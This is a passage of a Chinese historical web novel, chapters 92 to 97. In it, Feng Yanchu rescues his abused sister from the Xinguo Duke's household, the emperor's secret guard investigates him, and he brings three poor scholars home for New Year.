江行舟身上穿着唯一一件过冬的纸衣,披着晚上睡觉盖着的被子,双手揣在怀里,只有翻页时才拿出来,就这样依旧冷的不行。
元康也差不多,他比江行舟好的一点是,多了一张兔皮褥子;谢鹤川身上穿着的是棉布裌衣,还盖了一件羊皮袍子,怀里抱着汤婆子,他其实还有两件绸缎面的冬衣,只是平日里不舍得拿出来,只有出门会客才会穿。
因为是白天,即使昨夜下了雪,三人依旧未舍得点燃炭盆。此时此刻,几人十分羡慕对面那间屋子里的封砚初,不用想也知道必定暖烘烘的。
就在这难捱之际,听见一阵敲门声,江行舟不得不起来开门,“暮山,可是你家郎君有事?”
暮山拱手道:“江郎君,我家郎君近日苦读,遇到不解之处,所以想请几位一起探讨文章。”
其实江行舟三人与封砚初多次谈论文章,他们发现对方的文章并不弱,此时暮山出现在这里,便明白封砚初这是以探讨文章的名义,请他们过去取暖,不过是为了保护几人读书人的颜面罢了,江行舟并未不识好歹之人,三人结伴而去。
也确如江行舟所想,读书人最好脸面,若明着救济,他们未必会接受,还不如这样来的体面。
三人进屋后,只觉得‘烘’的一下。除了取暖的碳盆以外,桌旁的红泥炉上还坐着一个铜壶,壶内沸水翻滚着,几人互相见礼后落座。
封砚初为三人沏了茶,与他们说起了书里的文章,仿佛真的就是为了请教文章。
就这样,每到最寒冷难捱之际,封砚初总会让暮山请几人过来谈论文章,不过并非白来,众人均有长进。
这日恰好是腊八,封砚初原本不想回去的,但他心里惦记着旁的事情,家里又特意派人来请,说是已至腊月,好歹祭祀了先祖后,一家人在一起喝碗腊八粥。
因着冬日天短,所以祭祀先祖与农神、谷神后,封家众人便在老太太这里用腊八粥,因为不是正餐,所以众人也没有往日的食不言,都在说着话。
二叔封简言除了风流之外,最喜好附庸风雅,腊八时节正值梅花盛开,便道:“听说广林巷的那片梅林开的正艳,只可惜天有些冷,否则去那里赏梅不错。”
广林巷,封砚初买的私宅就在那里,旁边西侧一里之处正好有个梅林,那里往日虽清净,但只有在梅花盛开之际常有人去,所以每到冬季他就很少去‘枕松闲居’。
封砚明见父亲如此说,他这些日子被拘在家里,正觉憋闷,立即建议,“怕什么,喝了粥之后时辰应该还早,去一趟又如何。”说完双眼亮晶晶的,等着众人附和。
封砚开并不想去,有这时间还不如多读几页书,回绝道:“去年我受人相邀去过一次,今年就不去了。不过那里的红梅确实不俗,与灵台寺秋季的枫叶林齐名。”
腊月,正是吏部一年到头最忙的时候,封简宁也未能回来过节。
三郎封砚池有心想去,可大哥不去,于是看向一旁的二哥。只见封砚初道:“明年乡试,我也不去了。”他顿时失望不已。
老太太见大家意见不统一,又想着好容易过节,便朝众人道:“不想去便不去,至于谁想去,只是要带着下人便可。”除了封砚初与大郎封砚开,其余人都很兴奋。
就在出门之际,钱妈妈匆忙回来,正好碰见大家在门前上马车。她脸上的神情略微松了松,不过还带着惊惧,脱口而出,“你们都知道了?”
虽说大家都奇怪钱妈妈为何回来,还是封砚婉最先开口,“知道什么?钱妈妈,你不在信国公府陪着姐姐,怎的这会儿回来了?”
封砚池也说道:“我们正要去广林巷赏梅呢,钱妈妈你怎么回来了?可是大姐姐发生什么事了?”
钱妈妈这才道:“不好了,徐三郎方才在信国公府的腊八宴上晕倒了,太医瞧过说情况不好,世子夫人说是姑娘克的,正对姑娘喊打喊杀的,已经将人囚禁起来了,奴婢还是趁人不注意赶紧回来报信!”
封砚明惊呼道:“什么!那咱们还不赶紧去信国公府!”
还是封砚池反应过来,“赶紧去叫上母亲,大哥和二哥!”
封砚初早就在留意徐三郎的消息,只是一直没传出来,这也是他腊八节回来的真正原因,即使暂时没有情况,他也会明日去信国公府探望姐姐,现在知道徐三郎如此情形,心里的石头也算落了地。
大郎封砚开先是一惊,随后快速镇定。他现在才琢磨出,中秋那晚,二弟那些话之下暗含的意思。
大娘子既欣喜女儿不用受徐三郎的磋磨,又担心这件事处理不好,女儿在信国公府的日子不好过。
毕竟当家多年,立即吩咐道:“快去吏部找侯爷!咱们先去信国公府!”
第九十二章 不愧是贱民出身
信国公府。
世子夫人犹如疯了一般撕扯着封砚敏,“是你克的我儿!我可怜的儿,就是被你害的!”
毕竟是长辈,封砚敏不好对打,只是一味的躲避。说来讽刺的很,眼见徐三郎如此模样,大家都开始指责她,将所有的错都归咎于她。
“弟妹,你身为三郎的娘子,也太不尽责了。”
“就是,你也不劝着他!”
“徐家就没见过你这样的悍妇,之前你两次将三郎弄伤,你也就跪了两次祠堂,要是在别人家只怕是休妻的下场!”
世子夫人有些疲累,可依旧不解恨,气喘吁吁道:“来人!将封氏的门窗封起来,不许给她一口饭!一口水!”
主仆几人被关在屋内,门外响起‘叮叮当当’声,这是门窗被封上的声音。
就在此时,一个熟悉的声音传来,“我看谁敢!你们徐家就是如此欺辱我封家之人!”
碧玉惊喜道:“姑娘,是二郎君!是二郎君!”然后趴在门上仔细倾听,“还有大娘子,世子,他们都来了!”
封砚初没想到信国公府的人如此蛮横,他险些没进来,可刚来到姐姐住处就见此一幕。
而那个老妖婆还道:“有何不敢!她既嫁进我信国公府,就由我说了算!更何况她害我儿至此!”
封砚开气道:“休要胡说!她不仅是你徐家媳,还是我封家女!”
谁知世子夫人口不择言道:“一个小辈,竟敢顶撞我!这便是你封家的教养,不愧是贱民出身!真不知太宗怎么想的,竟然封了你们这样的人家为侯爵!”
大娘子气的直接上去挠,“你个填房,晚娘心肠!”
旁边的徐二郎连忙上前帮忙,徐大郎虽然不想,但也不能站着,就连他们的娘子也来帮忙。
封家其余人见此怎会干看着,封砚初上前两三脚,就将徐家人踹翻在地。然后三两步上前,对着被封到一半的门又是一脚,只见整扇门轰然倒地。
此时的封砚敏头发凌乱,左脸上还有巴掌印,脖子更是被挠出几条血痕,“姐姐,你怎么样?”
封砚敏原本还坚强着,此时见了娘家人,眼泪犹如断了线的珠子,可嘴上却道:“我……我还好。”
此时,门外响起一个声音,“怎么?武安侯府之人在我信国公府竟如此嚣张吗?”原来是信国公与世子回来了,他见两个孙儿灰头土脸的,很明显是被封家人打的。
封砚初声音铿锵有力,同时将姐姐扶出门,“信国公此言差矣,我武安侯府虽爵位不如信国公府,但我姐姐也不能任徐家欺辱,还是说世子夫人如此待我姐姐,乃是国公与世子授意!”他看向信国公的眼神十分锐利。
大娘子见到女儿如此模样,立即扑上来,声音颤抖不已,只觉心疼,“我的儿!”
“哦!是封二郎啊!”这是信国公第一次见到人,以前也只是听闻此子淘气,可今日一见,竟然觉得比他的三个孙子要强出不少,怪不得武安侯如此宠溺。
封砚初朝对方见了一礼,不卑不亢,丝毫没有因为对方身上的气势而露怯,“见过信国公,世子。”
随后朝大娘子道:“母亲,您先带姐姐进去梳洗一番吧。”紧接着转头看似是对世子说,实则是说给信国公听,“想必世子不会不愿意吧?”
信国公世子咧了咧嘴,“怎会。”又朝一旁的世子夫人几人吩咐,“你们也都下去收拾收拾。”
封砚开见信国公先回来了,而父亲还未到,如今他就是武安侯府的脸面,自然不能怯场,上前道:“既然信国公与世子已经回来了,想必也了解过情况,我武安侯府想让信国公府给个交待。”
信国公并未应声,而是世子开口。武安侯虽还未来,但他也看出来目前做主的是武安侯府世子与封二郎,“大家在此也不妥,不如先去正堂。”
大娘子、温氏、以及封家的两个女孩子,留在了封砚敏住处,一边为其洗漱,一边安抚情绪。
信国公府正堂。
其实信国公并不想回来,尤其是关于三郎的事情,他是连问都不想问的,之所以在这儿,也不过是因为目前毕竟与封家是姻亲,武安侯还有些用处,不好弄的太难看。
世子则纯粹是因为听下人说封家人打上门来了,这才不得不回来。
信国公乃是朝廷次辅,因为经常在上面,所以习惯了发号施令,让底下人按照他的意愿来。
“以后我会让杨氏(世子夫人)注意的,三郎的一双儿女今后就由封氏养育,再将宝庆街的一个铺面送与她。”信国公觉得他已经很给武安侯面子了。
可封砚初怎么甘心,信国公还当他姐姐真稀罕养育徐三郎的儿女?再给一个铺子就觉得他封家就必须上赶着接受。
话音刚落,封简宁也从吏部赶来了,在路上已经大致听了事情的经过,同时也清楚了次子中秋夜,话中暗含的意思。
“武安侯,你来的正好,杨氏毕竟是婆母,不过是爱子心切,言语中有些不周,以后薛氏的一双儿女就由她抚养,并送宝庆街的一个铺子。”
其实在封简宁心里这个办法还算可以,正要答应,封砚初就已经开口了,“国公爷见谅,对于徐三郎的一些行径,外人或许被瞒得死死的,可晚辈却有些耳闻,更是听说了薛氏死前惨状,真是令人唏嘘。”
信国公眼神犹如深渊,脸上依旧带着慈和之色,并未将封砚初的话放在心上,甚至连看都没看一眼,而是对着武安侯道:“封大人呐,你瞧瞧你这儿子,还不满意呢!”说完还哈哈笑着。
封简宁自然不喜信国公的傲慢,可他又能如何,对方已经做出赔偿,这就是态度,所以竟有些犹豫,“我这儿子一向淘气。”此时封砚初也笑了。
信国公这才看过去,“封二郎,你笑什么?”
第九十三章 如此你可满意
“没什么,我只是觉得信国公府竟然甘愿为了,徐三郎那样一个欺辱兄长妾室、殴打妻子,因贪花好色、嗜酒无度而中风之人搭上徐氏一族的声誉,如此一想,徐家真是爱子心切。”
“你竟敢威胁我!”信国公脸上的慈和之色早已消散,多年处于高位,让他习惯了底下之人对他的唯命是从,卑躬屈膝。
封砚初起身行了一礼,“国公言重了,晚辈哪敢,不过是替自己的姐姐委屈罢了!明明是那徐三郎自己德行有亏,导致瘫痪不能动,可世子夫人竟要全怪罪在我姐姐身上,殴打欺辱我姐姐,还指责太宗陛下有眼无珠,觉得我封家先祖不过是一个贱民,竟还受到恩赏提拔。”
“晚辈也没想到,徐家乃是太宗陛下的母家,如今看起来似乎谁都可以评判几句,只是这般纵子无度,口无遮拦之人竟然是信国公府的当家大娘子。”
信国公听了这话,看向杨氏的眼神几乎快要冒火,用咬牙切齿的声音质问,“你果真说了这话!”
世子夫人被吓了一跳,结结巴巴道:“儿媳不敢,不过是吵嘴吵急了,说封家不过是贱民出身罢了,丝毫不敢对太宗陛下言语无状!”
封砚初立即补充道:“我怎么记得不止呢!我封家乃是太宗陛下亲封的武安侯,何为武安?那是我封家对太宗陛下的忠诚,对沈家皇室的忠诚。可落到你嘴里,竟变成了不知太宗怎么想的,让我封家受封侯爵,什么时候太宗陛下竟随你评判了?你有何资格!你代替得了皇室?还是说这是你徐家的肺腑之言?”
“杨氏!”信国公心中恼怒不已,他没想到这个儿媳妇教子无方也就罢了,还口无遮拦什么都往外说,若是这句话被政敌知道,他信国公府必定受到陛下的疑心!陛下最厌恶大臣搅和进夺嫡中,没准还真可能杀鸡儆猴为朝堂降降温。即使当下没什么,之后必定会算账!
此时的信国公不得不正视眼前这个少年郎,“你想要如何?”
“休了世子夫人……”封砚初说到此处故意看向众人,只见徐二郎与杨氏果然紧张,“她没准真是一时口误呢,虽说知错能改善莫大焉,可也得小惩大诫一番,若她以后还是如此岂不是给信国公府惹祸?”
信国公皮笑肉不笑道:“那我倒还要谢谢你为信国公府着想。”
“岂敢,虽说我姐姐受了委屈,可世子夫人毕竟是国公府的人,我封家也只是建议一番,具体如何惩处全看您的意思。”封砚初要看一看接下来信国公的态度。
信国公目光沉沉,他记住了今日的胁迫,“好,三郎病重在床,杨氏爱子心切,准备去城外的善慈庵为子祈福,直至康复!如此你可满意?”
封砚初又拱手道:“国公深明大义,晚辈佩服。”
信国公转脸笑道:“你担心自己姐姐被杨氏欺辱,而她本就有错。”这番变化也让其余人心惊,他们惊的不是变脸的速度,而是国公不得不应下封砚初的要求。
杨氏的后半生就这么被三言两语的定下来了,她瘫软在地,根本没想到封二郎还有这般战力。她打从心底就瞧不起武安侯府,可恰恰是这个她没瞧得起的武安侯,给了她这般深刻的教训!
世子与她不过是面子情,她的二郎虽然孝顺听话,可能力寻常;三郎比他二哥强出许多,不过是有点酒后打人的小瑕疵,这也是她为何多年来宠爱的原因。
现下她要去庵堂,那这信国公府,今后岂不成了徐大郎夫妇的天下!
事实也确如杨氏所言,要不是因为封家人还在,要不是场合不合适,徐大郎高低与刘氏喝两杯庆贺。
“事情已了,那便不多留诸位了!”信国公直接赶人。
武安侯封简宁从没想到次子的态度这般强硬,竟敢硬刚国公,立即拱手道:“下官告辞。”
回去的路上,所有人都沉默了,今日是他们第一次见到如此陌生的封砚初。
回到武安侯府,所有人都很有默契的去了老太太那里。
“敏儿如何了?国公府那边是怎么交待的?”老太太早就等的心焦,让人去外头瞧了好几遍,眼见都回来了,抓着人就问。
封简宁瞥了一眼次子,说道:“徐三郎病重,杨氏爱子心切,准备去城外的善慈庵为子祈福。”
老太太有些不敢相信,“怎么可能?”
“这是信国公的原话,也是对外的说辞。”随后又将信国公府发生的事情一五一十的全说了。
“什么!”老太太震惊的看向封砚初,“你竟敢威胁信国公,他可是当朝次辅,来日想报复武安侯府易如反掌!”
“我知道。”
“知道你还敢……”
“祖母,难道不威胁,来日,他就不会将武安侯府当成弃子或是马前卒?我原本也不想如此,可当他那般轻描淡写,我便知道,对他来说咱家可以随时丢弃。”
封砚初并未停下,继续道:“祖母,你可知我们差点连信国公府的门都没能进去,整个信国公府对武安侯府居高临下的态度,咱封家连他家的仆从还不如,我只知道你越卑微,他们就越轻慢! ”
老夫人听到此处是一阵沉默,老侯爷还在时,那些人如何敢如此轻慢武安侯府,到底落寞了。
对于次子今日在信国公府的表现,封简宁从未怪过。正所谓时移世易,将来如何还未可知。
信国公年岁不小,对方之所以支持皇后,还不是觉得趁权力还在手中时,就要好好利用,等将来九皇子登基也能得个从龙之功。毕竟世子能力平平,孙子里头也未有出挑的,信国公府后继乏力。
可他武安侯府不同,长子努力上进,次子今日的表现更是令他刮目相看。
封砚初见老太太忧心,又道:“祖母不用担心,今日之事未必就是坏事,父亲如今跟从信国公府不过是权宜之计,有了今日的纠葛,来日脱身也有个由头。再说姐姐还年轻,总不能真让她陪着那人一辈子。”
封简宁也说道:“母亲,兵来将挡,水来土掩。现在的情况未必就不好,起码信国公也知道,我武安侯府不是任他揉圆搓扁随意处置的。”
第九十四章 请您从轻处罚吧
老太太沉默良久,千言万语化成一声叹息,“你是当家人,你做主就好。”
回院子的路上,大郎封砚开突然朝封砚初郑重的一拘,吓得他赶紧扶住对方,“大哥,你这是做什么?”
封砚开语重心长道:“二郎,你今日所为让我刮目相看,试问,我是做不到你那样的。”
封砚初笑道:“大哥,你我虽是兄弟,可本就不相同。你是武安侯府的世子,来日是要承袭爵位的,肩负着家族复兴的重担,自然思虑较多。可我不同,不用承袭爵位,自然没那么多约束。”他不知道这句话是否起到了安抚的作用。
信国公府。
信国公坐于高堂之上,神色阴沉的看向儿子,“真是废物!你在朝堂上帮不到我也就罢了,连家事都处理不好,竟让封家那个小子以此威胁我!”
世子垂头站着,“父亲,儿子回去必定……”
话音未完就被打断,“必定什么?没见着封二郎已经替咱家做好了决定吗!从今以后,就让杨氏老死在善慈庵,永不许回来!”
徐二郎焦急道:“祖父,我母亲知错了!看在她多年操劳的份上,还请您从轻处罚吧。”
信国公只觉心累,凭什么武安侯府有封大郎和封二郎这样两个儿子。虽然内心对其不喜,但也不得不承认封二郎更是强出其兄,可他呢?
若信国公府有这样的后辈,他何苦去趟那浑水,以自己如今的地位,难道还愁百年之后吗?
“我虽不求着你们如封二郎那般出息,可也不要拖后腿!明日就让杨氏去善慈庵!”说罢甩袖而去,丝毫不理会身后的呼喊声。
徐二郎眼见祖父心硬似铁,又上前求世子,“父亲,父亲,求您救救母亲!她与您夫妻多年,没有功劳也有苦劳啊!”
世子拂开袖子上的手,摇头道:“要怪就怪你不争气,更要怪你母亲对老三的纵容无度,被封家抓了把柄。如今你祖父也是投鼠忌器,难道真的要因你母亲而连累整个国公府吗?”
徐二郎听了这话,心中顿时哑然,与国公府相比,母亲无足轻重。此刻,他的肩膀突然一沉,原来是徐大郎。
“二弟,正所谓惯子如杀子。当初三弟欺辱我的妾室,也不过是将其送去了青州,是母亲说他已知错,非要将人接回来的,如今看来真是因果报应啊!”
当徐二郎去了母亲那里,对方激动的抓着他的胳膊道:“如何?你祖父和你父亲可心软了?”
他无力的摇了摇头,垂头丧气道:“母亲,祖父说了,让你有生之年都不得回来!”
“什么!”杨氏没想到她不过是将封氏打了一顿罢了,怎会这么严重,自古婆母教训儿媳那是应该的!现下她满脑子都是,自己余生都要在善慈庵度过,哪里有空去想,之前还待之如珠似宝,如今却瘫在床上的儿子。
她扑上去道:“儿子,你再去求求你祖父,求求你父亲,就说我知错了!”
徐二郎摇头欲哭无泪,“母亲,晚啦!是你言语无状被封砚初抓住了把柄,因此逼得祖父投鼠忌器。祖父因你之过受到逼迫,怎会原谅你。更何况在所有人眼里,和整个信国公府的名声比起来,您无足轻重,随时可抛弃!”
杨氏瘫倒在榻上,眼泪止不住的往下掉,表情木讷,嘴里喃喃着,“早知……早知在他初次对薛氏动手时,去劝劝他该多好啊!当年,是我眼见薛家被贬,便装聋作哑,才有了今日之祸。是我的错啊!”说到最后竟变成嚎啕大哭。
次日,武安侯府和信国公均有马车出城,一个去了隆安寺,一个去了善慈庵。
勤政殿。
下朝后的景和帝,正在处理公文。
太监江荣海进来禀报,“陛下,玄麟卫副指挥使娄遥在外求见。”
景和帝的头并未抬起,“让他进来。”
娄遥进来高举密录本,行礼道:“属下参见陛下,此乃信国公府最新情况。”
直到江荣海将密录本捧到景和帝跟前,他这才抬头拿去密录本,翻开详看,随后用手指敲击着桌面,“此言为真?”
娄遥立即垂头拱手,严肃道:“启禀陛下,属下绝不敢有任何欺瞒与篡改。”
“恩,朕知道了,下去吧。”
“属下告退。”娄遥直到出了勤政殿,心神才略微放松些,同时心底又升起难言之意,今日陛下多了一句反问,这让他有些不安。
玄麟卫是太宗陛下亲手所建,是历任皇帝的亲信,唯有陛下的命令才能使唤的动。无论你是何高位,或是贵为皇子皇孙也不得沾染分毫,这是铁令!
景和帝看着上面详细记录了,信国公府内发生的事情。他摩挲着纸面上的内容,“你说,若武安侯府的封二郎没有逼迫,信国公得知杨氏所言会不会做出惩处?”
江荣海摇头道:“这没发生的事,如何能知道?”
“罢了,大皇子在朝经营多年,老五在士林儒生中名声极好,便让他暂时相帮老九,免得几人之间的势力失衡。”
江荣海脸上堆着笑,“陛下圣明。”
“你个老滑头啊!只是这个封砚初,我记得没错的话,应该是武安侯那个与老六关系不错的封二郎,且十分淘气的?”随后又看向密录本,上面还写着玄麟卫怀疑封二郎会武。
江荣海脑海中迅速回忆,“是,六殿下小时候喜欢在宫里打水漂,打弹弓。就是六殿下在宫外时,这封二郎教的,奴才记得当时宫内很多人都来告状呢。”
景和帝也记起来了,“是啊,朕为此没少给各宫赔钱,当时朕还想让这孩子多陪老六,可被封靖良这个老滑头拒了。之前疏忽了,既然玄麟卫怀疑此人会武,那就顺带查一查吧!”
“是。”
第九十五章 没有其他原因吗
不过两日的时间,玄麟卫的密录本再次放在了景和帝的桌案之上。
“没想到这封砚初不仅会武,还私下里学了医,并且在广林巷置了一处宅子,好几年了,武安侯一家还不知道呢。”景和帝看着内容不禁感慨,若非此次漏了痕迹被玄麟卫怀疑,还真注意不到。让他没想到的是老六与封砚初早就有往来。
他似乎又想到了什么,看向江荣海道:“那徐三郎得了什么病?”
江荣海略作停顿,脑子已经快速反应过来了,这件事他还真去太医院,问过为徐三郎诊治过的太医,“据说是饮酒过度,加上在女色上没个把持,这才发病中风瘫在床上。”
“没有其他原因吗?或是药物所致?”其实不仅地方上,京城各大重臣,要臣的府邸均有玄麟卫的探子。所以景和帝早就知道徐三郎的德行,只是此事对他来说无足轻重,没准将来还可以成为制衡信国公的一个借口。
江荣海又仔细回忆了一番,“这好像没有,不过几个月之前这徐三郎的身体就出了问题,当时太医还劝着戒酒忌色,如今看来,对方并未放在心上。”
景和帝手里的动作略停了停,难道真的与封家二郎无关?此人与长姐关系甚笃,即使这徐三郎德行有亏,也不会利用自己的医术吗?不过,若真是此人所为,还能让外人毫无察觉,可见心机不凡。
不过思绪也就是这么一闪而过,毕竟整个大晟有那么多事情要处理,他能过问一下已经算是了不得了。
这一切,封砚初自然无知无觉。
时间转瞬而逝,没几天就是除夕,他自然也要回去过年。
江,元,谢在寺里孤单,他与三人关系还不错,自然是要请他们去武安侯府。
这日清晨,便亲自上门去请。
‘咚咚咚!’
开门的是江行舟,他原本以为是暮山,没想到封二郎亲自来,一时有些惊喜,“封二郎?快请进。”
这是封砚初第一次来此处。这间屋子乃是谢鹤川的,他是三人中条件最好的。也是因为屋子里有一个火炕,所以其余二人才会挤在这里。
他之前还觉得自己屋内简朴,如今一瞧才觉惭愧,“江郎君,元三郎,谢四郎。”
炕上还有一些微弱的热气,虽不舍得,但元康与谢鹤川还是下了炕,几人相互见了礼。
谢鹤川拱手道:“封二郎,快坐,此处有些简陋了。”
封砚初说明来意,却不想勉强,“眼见年根将近,三位又远离家乡无法与家人团聚,今日,我也要回去过年了,所以想请诸位去我家过年,不知意下如何?”
元康有些犹豫,比起武安侯府,他们不过是穷举子,万一上门人家嫌弃怎么办?
江行舟觉得无论在哪过年,总比在这里强些。
而谢鹤川却想着武安侯府乃是勋爵人家,他后年就要会试,如果中了,将来在官场也有好处,思及此处,便道:“哎呀,我正想着过年冷清呢,二郎邀约,自是要去的,只是比起侯府富贵,我只怕没有好礼相送。”
封砚初浅笑着,“说什么送礼不送礼的,如此岂不是折煞我了?”
江行舟丝毫不在意自己的处境,“我本就家贫,正好趁着去你家占些便宜。”他并没有因为贫穷而别别扭扭的,反而说话时更显爽朗大方。
元康本不想去,可其余二人都去,不去岂不显得不合群,便道:“如此就叨扰二郎了。”
封砚初看着外面阴沉沉的天空,侯府的马车已经到了,“今日天气不太好,瞧着恐怕会下雪,你们收拾收拾,咱们一会儿就出发。”
京城内,虽然天气不好,可依旧热闹,往来的人们都在为年节忙碌着。随着马车驶入城西,三人只觉得眼睛都快不够用了。这里都是各官员勋贵府邸所在之处,从前他们并没有机会来这儿,当下竟生出自己与那些大人物离得这般近的感觉。
谢鹤川暗暗咽了咽唾沫。他是举人,在京城或许没什么,可在地方上却有头有脸,也有幸去过那些富贵人家,但与此处根本没有可比性。
武安侯府的大门除非贵客上门、家族重大仪式、或者封简宁本人进出才会打开;而封砚初平时进出走的都是侧门,这次自然也一样;至于角门则是下人、身份较低的访客进出之地;至于后门一般用来运送杂物。
当几人下了马车,守在门子上的人立即上来问安,封砚初也只是点了点头表示知道了。
谢鹤川三人既然是客人,自然先要去拜见老太太。他们被封砚初从侧门领进去之后,侯府内部的模样这才映入眼帘。虽是冬季,景色稍逊,可府中建筑错落有致,一路走去,才发现就连门栏窗槅上都雕着花鸟祥纹,让人忍不住屏住呼吸。
谢鹤川心中惊叹不已,到底是高门大户,就连府里往来的下人也很少发出声音。直至走到一处地方,隐隐约约听见有人谈笑,正欲感叹到底是谁。
便听封砚初说道:“这里是我祖母的住处,咱们先去见礼。”
就连一向不羁的江行舟,此时都收敛了许多,忙道:“自然要先去拜见老太太。”其余人皆应和着。
谢鹤川走到门前,抬眼就看见一个嘴角含笑,长相秀气的丫鬟一边问安,一边打帘子。
进去之后,也不敢乱看。正堂上坐着一个慈眉善目的老太太,左右两侧还有几个少年。
封砚初有些风尘仆仆,进门行礼道:“孙儿给祖母问安,他们是孙儿的友人,因独身在京城,又逢年节,孙儿便邀请他们来咱家过年。”
几人赶紧见礼,齐声道:“晚辈江行舟/元康/谢鹤川,见过老太太。”
老太太也有将近二十日未见孙儿,自然想念,不过还是先要见过客人,“来者都是客,你们又是二郎的友人,便将这里当自己家一样,有什么短了缺了就和二郎说。”
又对封砚初道:“二郎,他们都远离故土,又在咱家过年,你可要好好招待,若有怠慢,我可要找你算账。”
第九十六章 以前胖乎乎的多好
封砚开也是听说二郎带着朋友来家里过年,所以才与三郎,四郎,砚明几人过来见一见。
见完礼,几人就被带去客房,武安侯府还给他们每人身边配了一个下人。
江行舟才进屋没多久,小厮就端来了饭菜。他之前在隆安寺时,有幸与封二郎一起用过饭,当时那饭菜便觉得美味,可与今日的相比,还是有不少的差别。
到底是侯府,他洗了澡,旁边就放着新衣,甚至还准备了出门要穿的厚斗篷,面料是从未穿过的丝绸的。
只见那下人脸上挂着笑,不仅行礼告罪,还全了他的体面,“江郎君,我们大娘子说了,二郎君没照顾过人,粗心大意的,竟让您未来得及收拾物品衣物,这是前段时间为我们二郎君新做的,还未上身,请您不要嫌弃先穿着。”
人家如此客气,也并未因为他贫寒就瞧不起,便道:“二郎很周到,替我多谢大娘子。”
那下人行礼告辞,“一路奔波,江郎君且歇着,小的就先退下了。”
其实此次除了谢鹤川带了两件好衣裳之外,他们只带了书。室内温暖,江行舟竟真的感觉困意袭来,躺在床上的前一刻,他这才明白封二郎为何去了隆安寺读书,在侯府这个富贵乡真容易让人心生安逸。
因为封砚初提前打了招呼,所以大娘子早就准备妥当了。
此刻她正在叮嘱下人,“他们是二郎带回来的,别觉着人家贫苦就瞧不起或者怠慢,若被我知道了,可仔细你们的皮!”
回来回禀的下人忙道:“小的不敢。”
“最好如此,人家现在贫苦,一旦将来中了进士,那才是天壤之别,更何况你们代表的是二郎的脸面。”
那些下人身体立即一个激灵,他们如何敢糊弄,若被二郎君知道只怕不仅要挨一顿板子,还要被赶出侯府。
“小的记下了。”
话说与其余两人不同,谢鹤川是见过那些富贵人家的,他们之间说话,真可谓是明枪暗箭,口蜜腹剑。直到来到武安侯府,他这才知道封砚初竟然是庶出,他也是见过一些有钱人家的庶子,那真是活的处处小心,即使邀请朋友回来也是不容易。
从下人的态度中,他也瞧出封二郎虽是庶出,但不仅十分受宠,还很受重视。之前给老太太见礼时,就连几个兄弟都专门出来迎客,嫡母大娘子更是派下人时时照顾,而下人也怵怕对方,可见封二郎在侯府的地位不凡。
封砚初安顿好三人后,又返回了老太太的住处。
老太太仔细打量了好一会,叹气道:“我瞧你又瘦了,可是外面的饭吃不习惯?”
封砚初也专心陪着祖母,笑道:“能吃的习惯,只是我这个年纪的胃犹如深渊,吃多少都填不满。”
老太太还是觉得外面辛苦,心疼道:“记得你以前胖乎乎的多好啊,这几日在家就好好补一补,我已经给厨房说了,让他们每日给你炖一盅,年后去隆安寺也带着些,让跟在你身边的人煮给你。”
老太太如此热心,他怎会拒绝,连连答应,“都听祖母的。”
“你要是早听祖母的,何至于如此。”封砚初虽知道,但老太太还是不放心的叮嘱道:“你既然将人带回家来,那便不能怠慢,时时去瞧一瞧,不要将人扔在客房不管。等你将来入了官场,这都是人脉,是交情。”
“孙儿谨记。”
“恩,你做事素来让我放心,我老啦,不过白嘱咐你罢了。”老太太,你要不听听你说的什么话,前段时间还因为信国公府发生的事情心惊,现在又觉得孙儿做事稳重。
“祖母哪里老?”
祖孙俩又说了一会话,封砚初这才回去,只见院子一如往昔。
刚进门将自己收拾妥当,姨娘王锦娘便来了,前几次回来,他要么有事,要么匆匆忙忙的,王锦娘并没有机会与儿子好好说说话,看看他。
“二郎,这次回来可要多待些日子?”王锦娘说话时,眼睛都没离开过儿子。
“让姨娘记挂了,年后访完友便要回隆安寺了,待考中之后,儿子便回来多陪陪您。”
王锦娘内心轻叹,儿子如今读书,全家都很重视,她能做的也只有做些鞋袜衣裳,说着便指着旁边的包裹道:“前两个月,大娘子送来一些好皮子和上等的布料,我也用不了,便给你做了两双鞋,一个大氅,一件长袍,还有几双足袋。”
封砚初打开细瞧,都是上好的料子,而且衣服上面还绣着祥云暗纹,素雅中不失清贵,“既是母亲给姨娘的,您给自己做来穿就好。”
“我成日在家又不出去,你就不同,还要出去访友见客,没几身好衣裳怎么可以,快穿上试一试,若哪里不合身,我再改过。”对于王锦娘来说,家里其他人都比她有用处,她能为儿子做的也就只有这个了。
最后试了试,竟然很合身,王锦娘觉得骄傲,“果然我的眼睛不错,做衣服时故意大了一寸,现在正合适。”
王锦娘离开后,天空终于负担不住沉重,洁白的雪花犹如鹅毛一般飘荡而下,没一会儿,整个大地就被覆盖了一层白,仿佛要将人世间所有的欲望都要掩盖住,风雪越来越大,门外的北风呼啸不停。
第九十七章 仿佛没有任何变化
当晚,封简宁回来后,就叫来了次子,“你将隆安寺那三个人带回来了。”
“是,父亲,儿子在隆安寺时常与他们谈论学问,三人学识渊博,儿子受益匪浅,他们在京城举目无亲,自然要邀请他们来,是哪里不妥吗?”封砚初解释了一遍。
封简宁摇头,接下来的话直接表明自己的想法:“为父不是这个意思,只是他们毕竟是你的朋友,将来进了官场也是你的人脉,为父已经陷入其中,不希望你将来也牵扯进去,所以这其中的尺度你要拿捏好。”
书房内,霎时陷入寂静。
封砚初何尝不明白父亲的担忧,成了固然是好,若真有个万一,武安侯府也不至于覆灭。而他自从那日见过信国公之后,便知道此人并非心胸宽广之人,更有些自私凉薄。最后对杨氏的处置,虽因自己的胁迫,可更多的是因为杨氏之错觉得脸上挂不住。
他还是忍不住,只希望父亲不要越陷越深,对其有所保留,“我知道。可是父亲,所谓大知闲闲,小知间间;信国公并非持正宽广之人,上次的事情便是证据,所以您有时候无需勉力为之。”
封简宁拍了拍儿子的胳膊,“知道了,去吧。”
回来后,原本是要去见孙延年的。可年关将至,为了维护京城治安,京西武备营也被调用,所以他也忙着,只能年后再说。
贫苦人家的年有贫苦的过法,富贵人家有富贵人家的过法,而今年是他们初次见识到武安侯府是如何过年的。
为了这个年,就连下人们往来也匆忙了许多。等大年三十这日祭祖,江行舟这才算见识到封氏一族的繁茂,他还特意远远的去瞧了,里里外外站的满满当当。
不禁感叹,“这封家之人可真多啊。”
谢鹤川在武安侯府也没有白白待着,他眼睛最尖,立即就在人群中看到户部侍郎封简阳,此人的官位都高过了封二郎的父亲,不过武安侯如今在吏部任职,这里可是当官人的命脉所在。
他正走神,听见江行舟的话,敷衍道:“确实不少。”
元康却道:“这才哪到哪啊,据说封氏一族祖籍青州,所以京城只是一部分,还有很多在青州呢。”
“那这样一来,岂不是说武安侯与皇族乃是同乡?”江行舟这几日担心自己见了富贵,侵蚀掉意识,所以基本上在房间苦读。
